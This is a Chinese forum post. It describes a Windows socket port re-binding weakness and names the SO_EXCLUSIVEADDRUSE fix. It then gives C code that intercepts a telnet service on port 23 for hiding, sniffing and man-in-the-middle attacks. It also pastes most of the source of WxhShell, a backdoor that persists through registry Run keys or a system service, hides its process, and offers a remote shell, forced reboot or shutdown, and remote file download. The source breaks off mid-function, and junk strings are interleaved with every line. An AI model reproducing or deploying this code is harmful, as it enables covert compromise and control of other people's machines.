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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :-+j,G9 t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); drB$q [Ak9  
#]wBXzu?  
  saddr.sin_family = AF_INET; '"V]>)  
e= ",58  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1L _(n  
MnW"ksH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;'4Kg@/  
}~ga86:n0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n=h!V$X   
-D_xA10  
  这意味着什么?意味着可以进行如下的攻击: |f[:mO   
l]5!$N*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ((fFe8Rn)q  
C7MCMM|S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7}Jn`^!  
)5s-"o<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T FK#ign  
HhUk9 >7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^F+7@*u  
t)l^$j !h@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 chU,));F  
3hR3)(+1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 04!akPP<  
+tv"j;z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SiT5QJe  
aw1 f;&K4  
  #include ^ Mq8jw(2  
  #include P)06<n1">Z  
  #include %T~LK=m  
  #include    +?C7(-U>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8wzQr2:  
  int main() 5S%#3YHY2  
  { }vX/55  
  WORD wVersionRequested; n'<F'1SWv  
  DWORD ret; b5UIX Kim  
  WSADATA wsaData; g;</|Z  
  BOOL val; pIvr*UzY  
  SOCKADDR_IN saddr; {9h`h08?z  
  SOCKADDR_IN scaddr; _I #a `G  
  int err; yJHFo[wGMJ  
  SOCKET s; (!diPwcv  
  SOCKET sc; D~f[Rg  
  int caddsize; -Rr Qv(  
  HANDLE mt; M_#^zo "x  
  DWORD tid;   FmtV[C #  
  wVersionRequested = MAKEWORD( 2, 2 ); 5[rA>g~  
  err = WSAStartup( wVersionRequested, &wsaData ); qa/VSk!{  
  if ( err != 0 ) { *>7Zc  
  printf("error!WSAStartup failed!\n"); #}nDX4jI  
  return -1; 8F T@TUFb  
  } bqm%@*fZo  
  saddr.sin_family = AF_INET; J]$]zD  
   C +S>;1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T|h'"3'  
0"xD>ue&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _!E/ em  
  saddr.sin_port = htons(23); d /`d:g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T2MXwd&l  
  { w O*x0$  
  printf("error!socket failed!\n"); b:6e2|xf?  
  return -1; p!p:LSk"/b  
  } ,Zs*07!$f  
  val = TRUE; 4k=LVu]Kcr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 43o!Vr/ S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6vebGf  
  { xw~&OF&  
  printf("error!setsockopt failed!\n"); Z oQPvs7_  
  return -1; G:!'hadw  
  } :LX (9f   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [|oOP$u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JCZ5q9b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pq<2:F:Kl  
C4t@;U=x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oa8xuFu(n  
  { 5?C) v}w+  
  ret=GetLastError(); P#ot$@1v  
  printf("error!bind failed!\n"); sn:wLc/GAd  
  return -1; 4lF?s\W:  
  } #P-T4 R  
  listen(s,2); |C.[eHe&D  
  while(1) eR:!1z_h  
  { "|K D$CY  
  caddsize = sizeof(scaddr); DzG$\%G2R}  
  //接受连接请求 \kVi&X=q:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R\n*O@E v3  
  if(sc!=INVALID_SOCKET) > R2o7~  
  { =F90SyzTy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E|omC_h  
  if(mt==NULL) S"Mm_<A$@  
  { y@u,Mv  
  printf("Thread Creat Failed!\n"); y>_*}>2,O  
  break; $Rv (v%  
  } .V\: )\<|  
  } Tq!.M1{&  
  CloseHandle(mt); s_Gf7uC  
  } jL9to6 Hmr  
  closesocket(s); |s*tRag  
  WSACleanup(); Y|N.R(sAs&  
  return 0; w2o5+G=  
  }   ub=Bz1._  
  DWORD WINAPI ClientThread(LPVOID lpParam) j+Q E~L  
  { "2 J2za  
  SOCKET ss = (SOCKET)lpParam; zT"W(3  
  SOCKET sc; "gGv>]3  
  unsigned char buf[4096]; eU m,=s  
  SOCKADDR_IN saddr; /&g~*AL  
  long num; ]R8JBnA  
  DWORD val; rQ287y{  
  DWORD ret; cXG$zwS\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jp P'{mc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wd/m]]W8Q  
  saddr.sin_family = AF_INET; r@]iy78 j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .3< sv  
  saddr.sin_port = htons(23); ?D`h[ai  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t{Xf3.  
  { ,)7y? *D}  
  printf("error!socket failed!\n"); LKe ~  
  return -1; :x/L.Bz  
  } 0X[uXf  
  val = 100; x#,nR]C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yUp"%_t0  
  { %SlF7$  
  ret = GetLastError(); %:hU:+G E  
  return -1; KJ;NcUq  
  } K1*]6x,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c 6Z\ecH9  
  { 3X A8\Mg  
  ret = GetLastError(); %_%/ym  
  return -1; %+e% RZ3  
  } B gB]M3Il  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ed=]RR 4R  
  { {m2lVzK  
  printf("error!socket connect failed!\n"); La#otuw+?  
  closesocket(sc); &['cZ/bM  
  closesocket(ss); Jt}0%C3d  
  return -1; +U];  
  }  (:ObxJ*  
  while(1) Eggdj+  
  { ( 17=|s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P]b * hC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .S =^)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ri?>@i-9=  
  num = recv(ss,buf,4096,0); Zr U9oy&!C  
  if(num>0) c[QXc9  
  send(sc,buf,num,0); 2 N$yn  
  else if(num==0) qS{E+)P  
  break; }HC6m{vH(  
  num = recv(sc,buf,4096,0); NHjZ`=J s  
  if(num>0) pk,]yi,ZF  
  send(ss,buf,num,0); I"1H]@"=  
  else if(num==0) JTn\NSa  
  break; NiCB.a  
  } 4Cl41a  
  closesocket(ss); O)E8'Oe"Q  
  closesocket(sc);  [ijK ~  
  return 0 ; /degBL+  
  } C+=8?u<  
+^\TG>le  
1ehl=WN  
========================================================== t'pY~a9F  
]&mN~$+C  
下边附上一个代码,,WXhSHELL uO,9h0y0W  
E,nxv+AQ  
========================================================== 50l! f7  
,-GkP>8f(  
#include "stdafx.h" Ja@zeD)f"  
BD (Y =g  
#include <stdio.h> |)vC^=N{+  
#include <string.h> 7\?0d!  
#include <windows.h> IW<nfg  
#include <winsock2.h> BlrZ<\-/  
#include <winsvc.h> (ndTEnpp  
#include <urlmon.h> L~u@n24  
L~PBD?l  
#pragma comment (lib, "Ws2_32.lib") j~Cch%%G  
#pragma comment (lib, "urlmon.lib") <HC5YA)4  
w#!^wN  
#define MAX_USER   100 // 最大客户端连接数 +Kz baBK  
#define BUF_SOCK   200 // sock buffer qP}187Q1  
#define KEY_BUFF   255 // 输入 buffer c6@7>PM  
%gb4(~E+N  
#define REBOOT     0   // 重启 1K`7  
#define SHUTDOWN   1   // 关机 C =6.~&(  
X*^^W_LH.  
#define DEF_PORT   5000 // 监听端口 $k|:V&6SV  
:p@.aD5  
#define REG_LEN     16   // 注册表键长度 &Oih#I  
#define SVC_LEN     80   // NT服务名长度 VoTnm   
OrJuE[R.  
// 从dll定义API >Yf)]e-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G'M;]R9EP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K#e&yY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k+D"LA%J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?b8 :  
= @EN]u  
// wxhshell配置信息 Ac2,A>  
struct WSCFG { p!OCF]r  
  int ws_port;         // 监听端口 B,_/'DneQK  
  char ws_passstr[REG_LEN]; // 口令 3;hztCZj  
  int ws_autoins;       // 安装标记, 1=yes 0=no hN5?u:  
  char ws_regname[REG_LEN]; // 注册表键名 m 3 Y@p$i5  
  char ws_svcname[REG_LEN]; // 服务名 fQkfU;5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L xg,BZV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '=Z]mi/aw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -*<4 hFb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T|%pvTIe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [@&0@/s*t'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K|{IX^3)V  
? +q(,P@*  
}; Wz%b,!  
R. (fo:ve>  
// default Wxhshell configuration 0,z3A>C  
struct WSCFG wscfg={DEF_PORT, dx&!RK+  
    "xuhuanlingzhe", P"%QFt,  
    1, 8nj^x?bn  
    "Wxhshell", sT*D]J 2  
    "Wxhshell", :"~SKJm  
            "WxhShell Service", S /kM#  
    "Wrsky Windows CmdShell Service", 4*D'zJsJ  
    "Please Input Your Password: ", r+D ?_Lk  
  1, OtVRhR3>  
  "http://www.wrsky.com/wxhshell.exe", S#{jyU9 ]  
  "Wxhshell.exe" b5@sG^  
    }; sYG:\>}ie  
)9]DJ!]&Q"  
// 消息定义模块 .S{FEV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QCD MRh n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sMn)[k vX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M&v;#CV  
char *msg_ws_ext="\n\rExit."; j TyR+#Wn  
char *msg_ws_end="\n\rQuit."; ?^Q8#Y^M  
char *msg_ws_boot="\n\rReboot..."; %2;Nj; J$  
char *msg_ws_poff="\n\rShutdown..."; @|2L>N  
char *msg_ws_down="\n\rSave to "; 4!</JZX~$  
bih%hqny  
char *msg_ws_err="\n\rErr!"; +QZ}c@'r  
char *msg_ws_ok="\n\rOK!"; H:k?#7D(  
yZ:AJNb  
char ExeFile[MAX_PATH]; ms]r1x"  
int nUser = 0; 6/5Xy69:h  
HANDLE handles[MAX_USER]; =<;C5kSD  
int OsIsNt; cEK<CV  
`B A'a" $  
SERVICE_STATUS       serviceStatus; F{*h~7D-|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s;ivoGe}  
6L!/#d0  
// 函数声明 \2c 3Nsra  
int Install(void); ]<xzCPB  
int Uninstall(void); B@ xjwBUk  
int DownloadFile(char *sURL, SOCKET wsh); RDSkFK( D  
int Boot(int flag); {O=PVW2S  
void HideProc(void); #aua6V!"  
int GetOsVer(void); z8@[]6cW  
int Wxhshell(SOCKET wsl); K7-z.WTUR  
void TalkWithClient(void *cs); B4Fuvi  
int CmdShell(SOCKET sock); J85S'cwZZ  
int StartFromService(void); 0Xw$l3@N^  
int StartWxhshell(LPSTR lpCmdLine); T2ZB(B D  
Dx5X6t9=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +e87/\5  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ;H4s[#K  
!\}X?G f  
// 数据结构和表定义 B" 0a5-pkr  
SERVICE_TABLE_ENTRY DispatchTable[] = N*`qsv 0  
{ H,3WdSL`K  
{wscfg.ws_svcname, NTServiceMain}, K0usBA  
{NULL, NULL} )4e8LO  
}; B6yTD7  
11((b  
// 自我安装 WbWEgd%8.  
int Install(void) }WV}in0  
{ t+ vz=`  
  char svExeFile[MAX_PATH]; SYd6D@^2j  
  HKEY key; xjy(f~'  
  strcpy(svExeFile,ExeFile); 8-PHW,1@a3  
,gdud[&|;  
// 如果是win9x系统,修改注册表设为自启动 rQD^O4j R  
if(!OsIsNt) { w$DHMpW'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t }YT+S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &e6!/y&  
  RegCloseKey(key); ^?8/9 o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;EB^1*A Ew  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dLfB){>S  
  RegCloseKey(key); %xv*#.<Vj  
  return 0; eev-";c  
    } B2,c_[UZ.  
  } q|g>;_  
} 8CUlE-R5  
else { 3oOr*N3R  
6E#znRi6IE  
// 如果是NT以上系统,安装为系统服务 dSI<s^n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); we/sv9v}n  
if (schSCManager!=0) i*((@:  
{ #M)+sK$H%f  
  SC_HANDLE schService = CreateService ]5r@`%9  
  ( !T#EkMM  
  schSCManager, 1{A K=H')  
  wscfg.ws_svcname, jx{wOb~oO)  
  wscfg.ws_svcdisp, z*UgRLKZD  
  SERVICE_ALL_ACCESS, )*XD"-9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v&qL r+_7  
  SERVICE_AUTO_START, 2e9.U/9  
  SERVICE_ERROR_NORMAL, }a%1$>sj  
  svExeFile, GO)5R,  
  NULL, $Jo4n>/  
  NULL, ph$ vP;}  
  NULL, bO` S Bq$  
  NULL, @h9QfJ_f  
  NULL DF>3)oTF  
  ); 4a=QTq0p  
  if (schService!=0) aka)#0l .  
  { FP'-=zgc  
  CloseServiceHandle(schService); 7^7Jh&b)/  
  CloseServiceHandle(schSCManager); #U(kK(uO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `&9iC 4P  
  strcat(svExeFile,wscfg.ws_svcname); E&N~ h|CL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9:P\)'y?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <L+1 &H  
  RegCloseKey(key); MD^,"!A  
  return 0; 5eiKMKW[  
    } M@z_tR'3\  
  } .JOZ2QWm<  
  CloseServiceHandle(schSCManager); oOHY+'V  
} 7`f%?xVn0  
} Q5b9q$L$  
>xXC=z+g]  
return 1; KM+[1Ze$  
} Z (t7QFd  
!FwNq'Q8$  
// 自我卸载 |R2p^!m  
int Uninstall(void) pm=m~  
{ .8->n aj|  
  HKEY key; J&iSS9c  
#aQQd8   
if(!OsIsNt) { 2EO x],(|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s"XwO8yhM  
  RegDeleteValue(key,wscfg.ws_regname); fy$?~Ji &  
  RegCloseKey(key); Eq%f`Qg+1E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ L]e]<h(  
  RegDeleteValue(key,wscfg.ws_regname); /J(vqYK"  
  RegCloseKey(key); wn;)La  
  return 0; 2M*i'K;;)P  
  } "BVp37 m;?  
} ve+bR   
} zW\s{  
else { S:XsO9:{  
7 =D,D+f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,5x#o  
if (schSCManager!=0) S@'%dN6e  
{ :..WL;gC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L6ap |u  
  if (schService!=0) VEpcCK  
  { tY>Zy1hlI  
  if(DeleteService(schService)!=0) { v[2&0&!K#  
  CloseServiceHandle(schService); qX*xQA|ak,  
  CloseServiceHandle(schSCManager); q^:VF()d_z  
  return 0; 5rmU9L  
  } j XH9P q4  
  CloseServiceHandle(schService); 3FtL<7B '.  
  } i)'tt9f$  
  CloseServiceHandle(schSCManager); p="0Y<2l  
} J?dLI_{ <  
} 2e-`V5{)b  
x0b=r!Duu  
return 1; zO---}[9a  
} h5rR44  
BN `2UVH  
// 从指定url下载文件 :G6aO  
int DownloadFile(char *sURL, SOCKET wsh) r^a:s]  
{ T-#4hY`  
  HRESULT hr; `/Rqt+C  
char seps[]= "/"; , /%'""`w  
char *token; q-+:1E  
char *file; d]Y;rqjue  
char myURL[MAX_PATH]; MI'"Xzp{s  
char myFILE[MAX_PATH];  4=ovm[  
,zdGY]$  
strcpy(myURL,sURL); i!RfUod  
  token=strtok(myURL,seps); lm 96:S  
  while(token!=NULL) b"Q8[k |d  
  { Aj|->Y  
    file=token; Xl<iR]lda  
  token=strtok(NULL,seps); 33EF/k3vW  
  } Av?R6  
<zL_6Y2  
GetCurrentDirectory(MAX_PATH,myFILE); 3LT~- SvL  
strcat(myFILE, "\\"); w|6/i/X  
strcat(myFILE, file); NhCucSU<K  
  send(wsh,myFILE,strlen(myFILE),0); P1Z"}Qw  
send(wsh,"...",3,0); /OWwC%tM/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xnt)1Q  
  if(hr==S_OK) ;Y[D#Ja-  
return 0; ^~.AV]t|  
else lOp. c U  
return 1; [{Jo(X  
:-5[0Mx=  
} /IG{j}  
ROmmak(y8  
// 系统电源模块 -2; 6Pwmv  
int Boot(int flag) 6^WNwe\  
{ bY2R/FNL=  
  HANDLE hToken; 3i7EF.  
  TOKEN_PRIVILEGES tkp; w;gk=<_  
s*[ I"iE  
  if(OsIsNt) { .whi0~i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uE41"?GS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); In^mE(8YO  
    tkp.PrivilegeCount = 1; >7PQOQMW'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MzX&|wimb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aZ4?! JW.  
if(flag==REBOOT) { kqm(D#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O7Jux-E1C  
  return 0; 9zb1t1[ W  
} k9f|R*LM  
else { p X{wEc6}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @b,H'WvhfS  
  return 0; .@E5dw5  
} zXx/\B$&d*  
  } fJ[ ^_,O  
  else { R\5,H!V9n  
if(flag==REBOOT) { &F uPd}F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a1~|?PCbY  
  return 0; 9gcW;  
} } Xo#/9  
else { ["<Xh0_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {#qUZ z-  
  return 0; zPa2fS8  
} 2+rT .GFc  
} }[;ZZm?  
?E"192 ,z@  
return 1; D[/fs`XES  
} ?@9v+Am!  
6X*vCylI  
// win9x进程隐藏模块 Ku l<Q<  
void HideProc(void) Ohk\P;}  
{ LDc EjFK(  
NgDhdOB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /"8e,  
  if ( hKernel != NULL ) !iKW1ks  
  { ID2->J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @01.Pd   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .oyAi||  
    FreeLibrary(hKernel); \{ @m  
  } QQS*r}>  
|@u2/U9  
return; {&n- @$?  
} j~k,d.17M  
v:P]o9Oj8  
// 获取操作系统版本 ik(Du/  
int GetOsVer(void) {Nl?  
{ Ojc Tu  
  OSVERSIONINFO winfo; S&` 6pN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |reA`&<q  
  GetVersionEx(&winfo); tTy!o=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o9 9ExQ.  
  return 1; <{kPa_`'  
  else _u[tv,  
  return 0; 1?Y>Xz  
} )XDBK* !  
/aI@2]|~  
// 客户端句柄模块 yjjq&Cn  
int Wxhshell(SOCKET wsl) .7.lr[$g  
{  `Eh>E,  
  SOCKET wsh; teJt.VA7)  
  struct sockaddr_in client; 7\6g>4J^`  
  DWORD myID; [A7TSN  
l;iU9<~  
  while(nUser<MAX_USER) mH$tG $  
{ 0V1GX~2  
  int nSize=sizeof(client); TmG);B}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7%Y`j/  
  if(wsh==INVALID_SOCKET) return 1; +-j-)WU?,  
[<#j K}g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Op%OQ14$  
if(handles[nUser]==0) xJCx zJ  
  closesocket(wsh); :*}Q/]N  
else =x8[%+  
  nUser++; 61S;M8tNv  
  } -{\(s=%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #%"G[B  
Zk=,`sBC  
  return 0; iwK.*07+  
} <gF]9%2E  
k_7m[o  
// 关闭 socket ;7P '>j1?U  
void CloseIt(SOCKET wsh) bTum|GWf  
{ #dZs[R7h  
closesocket(wsh); 1C<cwd;9  
nUser--; CeYhn\m5K0  
ExitThread(0); 4-yK!LR  
} CVfV    
r^~+ <"  
// 客户端请求句柄 >5CK&6  
void TalkWithClient(void *cs) (03/4*g_s  
{ S~Gse+*  
FH=2, "A  
  SOCKET wsh=(SOCKET)cs; g$K\rA  
  char pwd[SVC_LEN]; 5s[nE\oaG  
  char cmd[KEY_BUFF]; J#(AX6  
char chr[1]; v&d1ACctJ  
int i,j; 5%I3eL%s  
1"H;Tr|  
  while (nUser < MAX_USER) { .?45:Ey~g  
l8oaDL\f  
if(wscfg.ws_passstr) { [Z$H <m{c-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B7 s{yb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WQ9e~D"  
  //ZeroMemory(pwd,KEY_BUFF); fQfn7FaW_\  
      i=0; (.4lsKN<  
  while(i<SVC_LEN) { (DiduSJ  
?@'&<o0p#  
  // 设置超时 4CM'I~  
  fd_set FdRead; RCWmdR#}V  
  struct timeval TimeOut; RNk|h  
  FD_ZERO(&FdRead); >jI.$%L$  
  FD_SET(wsh,&FdRead); |n 26[=\B  
  TimeOut.tv_sec=8; VRd7H.f,A6  
  TimeOut.tv_usec=0; sSW'SE?,<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dVbFMQ&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1@|+l!rYF  
j .q}OK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3uuIISK  
  pwd=chr[0]; m{Q #f\<  
  if(chr[0]==0xd || chr[0]==0xa) { @"7S$@cO  
  pwd=0; bT ,_=7F  
  break; ?\o~P  
  } Xq135/d  
  i++; cwmS4^zt8  
    } ME)Tx3d  
qfDG.Zee#  
  // 如果是非法用户,关闭 socket Af _4Z]F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T-] {gc  
} ? Lg(,-:  
:F:1(FDP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uVEJV |^/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 27SHj9I  
hN3FH# YO  
while(1) { r)^sHpK:`  
: B^"V\WE  
  ZeroMemory(cmd,KEY_BUFF); |&#N&t  
]X6<yzu&+l  
      // 自动支持客户端 telnet标准   p\&O;48=  
  j=0; D4L&6[W  
  while(j<KEY_BUFF) { Bv<gVt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %,@pV%2  
  cmd[j]=chr[0]; r07u6OA  
  if(chr[0]==0xa || chr[0]==0xd) { DB|1Sqjsn  
  cmd[j]=0; ^ptybVo  
  break; JN wI{  
  }  @lN\.O  
  j++; \W*L9azr  
    } t%}<S~"  
R;OPY?EeW  
  // 下载文件 e0`z~z]6&  
  if(strstr(cmd,"http://")) { ,6>3aD1w~q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =z'(FP5!0  
  if(DownloadFile(cmd,wsh)) c""&He4zp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxHUOPAJc  
  else X)3(.L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JWb +  
  } jqaX|)8|$  
  else { m'"r<]pB*4  
MJGT|u8O&  
    switch(cmd[0]) { _LaG%* R6  
  zH]oAu=H  
  // 帮助 Tx.N#,T|  
  case '?': { 5 bI :xL}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p~w] ~\  
    break; \GL] I.  
  } g#$ C8k  
  // 安装 oP,*H6)i  
  case 'i': { n6oOk nCna  
    if(Install()) PBn7{( x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +pR,BjY  
    else x9 > ho  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ypn@YpSp  
    break; " aG6u^%  
    } (  cs  
  // 卸载 >?@5>wF  
  case 'r': { NW[K/`-CTH  
    if(Uninstall()) 0"R>:f}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DsMo_m/"1  
    else JR] 2Ray  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aF 2vgE\  
    break; H^-Y]{7  
    } :+"4_f0  
  // 显示 wxhshell 所在路径 MqZ"Js  
  case 'p': { e}uK"dl(  
    char svExeFile[MAX_PATH]; ?, pwYT0g  
    strcpy(svExeFile,"\n\r"); $)#orZtzr  
      strcat(svExeFile,ExeFile); Al^tM0T^  
        send(wsh,svExeFile,strlen(svExeFile),0); A$@;Q5/2  
    break; JK! (\Ae.  
    } !)]/?&uo  
  // 重启 n#P>E( K  
  case 'b': { 9)VAEyv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3RtVFDIZA"  
    if(Boot(REBOOT)) t<v.rb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :`N&BV  
    else { TanWCt4r  
    closesocket(wsh); ZO%^r%~s  
    ExitThread(0); LQ~|VRRX<  
    } 0 PYYG  
    break; dEk#"cvg  
    } HgY@M  
  // 关机 "&={E{pQ  
  case 'd': { 4;YP\{u  
